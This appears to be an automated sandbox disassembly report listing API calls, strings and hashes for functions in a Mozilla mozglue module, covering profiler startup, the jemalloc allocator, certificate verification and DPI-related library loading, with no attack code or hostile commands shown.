getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C325492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3254BE
__Init_thread_footer.LIBCMT ref: 6C3254DB

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C3254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C325516
GetCurrentThreadId.KERNEL32 ref: 6C32556A
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325577
moz_xmalloc.MOZGLUE(00000070), ref: 6C325585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C325590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C3255E6
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C325616

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetCurrentThreadId.KERNEL32 ref: 6C32563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C325646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C32567C
free.MOZGLUE(?), ref: 6C3256AE

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C3256E8
GetCurrentThreadId.KERNEL32 ref: 6C325707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C32570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C325729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C32574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C32576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C325796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C3257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C3257CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C325D24
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3257C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C32584E
MOZ_PROFILER_STARTUP, xrefs: 6C3255E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C325AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C325766
GeckoMain, xrefs: 6C325554, 6C3255D5
$me/, xrefs: 6C324C0F, 6C32544F
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C325D2B
[I %d/%d] profiler_init, xrefs: 6C32564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C325D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C325791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C325C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3254B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C3257AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C325717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C325749
MOZ_BASE_PROFILER_HELP, xrefs: 6C325511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C325724
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C325D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C325B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C325BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C3256E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C325CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3254A3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C32548D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: $me/$- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2244147634
Opcode ID: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction ID: 4dc6b69ee96e7b30f743a9f6d629efab4060ad3cb026bcc78dd040cec7629acf
Opcode Fuzzy Hash: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction Fuzzy Hash: 2F2223B5A043009FEF00AF74844866A77B9AF4630CF544529F8869BB45FB3ACA59CF53

Function 6C35B820 Relevance: 104.4, APIs: 56, Strings: 3, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35B845
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35B852
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35B884
InitializeConditionVariable.KERNEL32(?), ref: 6C35B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C35B9FD
GetCurrentThreadId.KERNEL32 ref: 6C35BA05
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C35BA27
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35BA4B
free.MOZGLUE(?), ref: 6C35C9C7
free.MOZGLUE(?), ref: 6C35C9DC

Strings

$me/, xrefs: 6C35B837
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C35C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C35C878

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: $me/$[I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-1092596857
Opcode ID: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction ID: 1b88b25eb5c9a74e5108492b6ace78637ac5591c44f1411ea2587b375124ad95
Opcode Fuzzy Hash: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction Fuzzy Hash: BAA29F71A083808FC725CF28D480B9BB7E9BFC9318F454A2DE89997750EB719915CF82

Function 6C326C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C326CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C326D26

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C326D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C326D73
free.MOZGLUE(00000000), ref: 6C326D80
CertGetNameStringW.CRYPT32 ref: 6C326DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C326DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C326DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C326E10
CryptMsgClose.CRYPT32(00000000), ref: 6C326E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C326E34
CreateFileW.KERNEL32 ref: 6C326EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C326F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C32709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C327103
free.MOZGLUE(00000000), ref: 6C327153
CloseHandle.KERNEL32(?), ref: 6C327176
__Init_thread_footer.LIBCMT ref: 6C327209
__Init_thread_footer.LIBCMT ref: 6C32723A
__Init_thread_footer.LIBCMT ref: 6C32726B
__Init_thread_footer.LIBCMT ref: 6C32729C
__Init_thread_footer.LIBCMT ref: 6C3272DC
__Init_thread_footer.LIBCMT ref: 6C32730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C3273C2
VerSetConditionMask.NTDLL ref: 6C3273F3
VerSetConditionMask.NTDLL ref: 6C3273FF
VerSetConditionMask.NTDLL ref: 6C327406
VerSetConditionMask.NTDLL ref: 6C32740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C32741A
moz_xmalloc.MOZGLUE(?), ref: 6C32755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C327568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C327585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C327598
free.MOZGLUE(00000000), ref: 6C3275AC

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

(, xrefs: 6C32768A
$me/, xrefs: 6C326C8F
SHA256, xrefs: 6C326EC0
wintrust.dll, xrefs: 6C3272CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C3272C8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: $me/$($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3411625076
Opcode ID: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
Instruction ID: ba4cee05f853667a86a3b2f96fe3ee7b87fe99ee294be254da114b435df8695e
Opcode Fuzzy Hash: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
Instruction Fuzzy Hash: 85529471A042159BEF21DF64CC84BAA77BCFF4A708F104199E909A7640EB75AE84CF91

Function 6C346FF0 Relevance: 90.8, APIs: 39, Strings: 11, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C347019
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C347061
EnterCriticalSection.KERNEL32(?), ref: 6C3471A4
LeaveCriticalSection.KERNEL32(?), ref: 6C34721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C34723E
EnterCriticalSection.KERNEL32(?), ref: 6C34726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C3472B2
LeaveCriticalSection.KERNEL32(?), ref: 6C34733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C3473E8
LeaveCriticalSection.KERNEL32(?), ref: 6C34961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C349622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C349642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C34964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496DB
AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C349747
GetSystemInfo.KERNEL32(?), ref: 6C349792
__Init_thread_footer.LIBCMT ref: 6C3497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C3497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C349838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C349874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C349895

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C349933, 6C349A33, 6C349A4E
$me/, xrefs: 6C346FFC
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3499A8
<jemalloc>, xrefs: 6C349B33, 6C349BE3
Compile-time page size does not divide the runtime one., xrefs: 6C349B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3499D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C349BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3499BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C349993
MOZ_CRASH(), xrefs: 6C349B42
MALLOC_OPTIONS, xrefs: 6C3497CA

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: $me/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-754499266
Opcode ID: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction ID: 493075c11ceb0602122653cf67903dcaa5629cfd3dc74e9f139e17475aa0a9fc
Opcode Fuzzy Hash: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction Fuzzy Hash: 5C538A71A097018FD714CF28C580615BBE5BF8A328F29C6ADE869CB791D772E841CF91

Function 6C350DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C350F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C350F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C350FB7
EnterCriticalSection.KERNEL32(?), ref: 6C350FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C351031
LeaveCriticalSection.KERNEL32(?), ref: 6C3510D0
EnterCriticalSection.KERNEL32(?), ref: 6C35117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C351C39
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C353391
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C353431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C353559, 6C35382D, 6C353848
$me/, xrefs: 6C350DE2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3537A8
<jemalloc>, xrefs: 6C353941, 6C3539F1
Compile-time page size does not divide the runtime one., xrefs: 6C353946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3537D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C353A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3537BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C353793
MOZ_CRASH(), xrefs: 6C353950
MALLOC_OPTIONS, xrefs: 6C3535FE

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: $me/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-754499266
Opcode ID: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction ID: 2fdf2cc1020b6f9a4db1fde9b46582955d63456b8409e5a1172c94621d0f2846
Opcode Fuzzy Hash: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction Fuzzy Hash: 85539C72A057018FC704CF29C580A16FBE1BF89328F69C66DE8699B791D772E851CF81

Function 6C3755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C34E1A5), ref: 6C375606
LoadLibraryW.KERNEL32(gdi32,?,6C34E1A5), ref: 6C37560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C375633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C37563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C37566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C37567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C375696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C3756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C3756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C3756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C3756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C375716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C37572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C375748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C375761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C37577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C375793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C3757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C3757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C3757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C3757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C3757FF

Strings

GetWindowDC, xrefs: 6C375710
StretchDIBits, xrefs: 6C3757CC
gdi32, xrefs: 6C37560A
ReleaseDC, xrefs: 6C375742
CreateWindowExW, xrefs: 6C3756C5
GetSystemMetricsForDpi, xrefs: 6C375677
FillRect, xrefs: 6C375729
GetThreadDpiAwarenessContext, xrefs: 6C37562D
SetWindowLongPtrW, xrefs: 6C3757B7
AreDpiAwarenessContextsEqual, xrefs: 6C375637
MonitorFromWindow, xrefs: 6C37578D
EnableNonClientDpiScaling, xrefs: 6C375666
GetMonitorInfoW, xrefs: 6C3757A2
SetWindowPos, xrefs: 6C3756F7
GetDpiForWindow, xrefs: 6C375690
ShowWindow, xrefs: 6C3756DE
DeleteObject, xrefs: 6C3757F9
user32, xrefs: 6C375601
LoadCursorW, xrefs: 6C375774
LoadIconW, xrefs: 6C37575B
CreateSolidBrush, xrefs: 6C3757E4
RegisterClassW, xrefs: 6C3756AC

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction ID: a6aee42f160e9fb667ff1b9769c8def9952cc4c0d37b20123824e22b99f8757c
Opcode Fuzzy Hash: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction Fuzzy Hash: E3511674B11707ABEB25AF359D4492A3AFCAB0A249710452DF912E6A51FB7ECC00CF74

Function 6C3734A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373902
